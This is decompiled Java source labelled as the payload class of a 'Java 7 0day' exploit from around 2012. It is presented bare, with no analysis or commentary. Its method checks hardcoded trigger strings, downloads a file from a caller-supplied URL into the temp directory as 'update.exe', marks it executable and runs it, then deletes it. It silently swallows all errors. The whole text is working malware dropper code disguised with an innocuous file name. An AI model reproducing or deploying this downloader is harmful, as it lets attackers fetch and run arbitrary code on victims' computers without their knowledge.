Java 7 0day Gondzz.class

package cve2012xxxx;

import java.io.BufferedInputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLConnection;

public class Gondzz
{
  public static Object xrun(String xiaomaolv, String bn, String si, Integer bs)
    throws Exception
  {
    if ((xiaomaolv == null) && (bn == null)) {
      return null;
    }

    try
    {
      String k1 = "woyouyizhixiaomaol";
      String k2 = "conglaiyebuqi";
      String str1 = System.getProperty("os.name");
      if ((bn.indexOf(k1) == 0) && (si.indexOf(k2) == 0) && (bs.intValue() == 748))
      {
        Object localObject1 = System.getProperty("java.io.tmpdir") + File.separator + "update.exe";
        downFile((String)localObject1, xiaomaolv);

        if (str1.indexOf("Windows") < 0)
        {
          exec("chmod 755 " + (String)localObject1);
        }
        exec((String)localObject1);
        new File((String)localObject1).delete();
      }
    }
    catch (Exception localException)
    {
    }

    return null;
  }

  public static Process exec(String paramString)
  {
    Process localProcess = null;
    try
    {
      localProcess = Runtime.getRuntime().exec(paramString);
      if (localProcess == null);
      localProcess.waitFor();
    }
    catch (Exception localException) {
    }
    return localProcess;
  }

  public static void downFile(String paramString1, String paramString2)
  {
    try
    {
      FileOutputStream localFileOutputStream = new FileOutputStream(paramString1);
      URL localURL = new URL(paramString2);
      String connayi = "xx";
      URLConnection localURLConnection = localURL.openConnection();
      int i = localURLConnection.getContentLength();
      InputStream localInputStream = localURLConnection.getInputStream();
      BufferedInputStream localBufferedInputStream = new BufferedInputStream(localInputStream);
      byte[] arrayOfByte = new byte[i];
      int j = 0;
      int k = 0;
      while (k < i) {
        j = localBufferedInputStream.read(arrayOfByte, k, arrayOfByte.length - k);
        if (j == -1)
          break;
        k += j;
      }
      localBufferedInputStream.close();
      localFileOutputStream.write(arrayOfByte);
      localFileOutputStream.close();
    }
    catch (Exception localException)
    {
    }
  }
}